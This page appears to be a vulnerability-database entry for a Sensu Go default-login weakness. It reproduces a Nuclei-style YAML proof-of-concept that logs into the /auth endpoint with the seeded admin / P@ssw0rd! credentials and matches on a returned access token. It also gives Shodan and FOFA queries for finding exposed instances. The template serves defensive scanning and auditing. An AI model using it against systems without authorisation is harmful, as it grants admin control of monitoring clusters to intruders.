sensu-go-default-login: Sensu Go - Default Login

2026-12-04 PoC Public

Description

Sensu Go contains a default login caused by the backend seeding the cluster admin account admin with the password P@ssw0rd! when SENSU_BACKEND_CLUSTER_ADMIN_USERNAME and SENSU_BACKEND_CLUSTER_ADMIN_PASSWORD are not set, letting remote attackers obtain an admin session and control the whole monitoring cluster.

Details

Severity
高危
Published
PoC
Public

PoC

id: sensu-go-default-login

info:
  name: Sensu Go - Default Login
  author: s4e-io
  severity: high
  description: |
    Sensu Go contains a default login caused by the backend seeding the cluster admin account admin with the password P@ssw0rd! when SENSU_BACKEND_CLUSTER_ADMIN_USERNAME and SENSU_BACKEND_CLUSTER_ADMIN_PASSWORD are not set, letting remote attackers obtain an admin session and control the whole monitoring cluster.
  reference:
    - https://docs.sensu.io/sensu-go/latest/operations/deploy-sensu/install-sensu/
    - https://docs.sensu.io/sensu-go/latest/operations/control-access/create-read-only-user/
    - https://hub.docker.com/r/sensu/sensu
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
    verified: true
    max-request: 1
    vendor: sensu
    product: sensu_go
    shodan-query: http.favicon.hash:-749942143
    fofa-query: icon_hash="-749942143" || body="Sensu"
  tags: sensu,sensu-go,default-login

variables:
  username: "admin"
  password: "P@ssw0rd!"

http:
  - raw:
      - |
        GET /auth HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(username + ':' + password)}}

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'regex("\"access_token\"\\s*:\\s*\"eyJ", body)'
          - 'contains_all(body, "\"refresh_token\"", "\"expires_at\"")'
          - 'contains(content_type, "json")'
          - 'status_code == 200'
        condition: and
# digest: 490a004630440220156ef72e2d01ab667943e133aa83da1e18f9d8ec4caa7ad2304ad3fa20999a0a022051b8c1eb85386feb406e198467116bc19794e968493f6c0d3833d6fe69113956:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life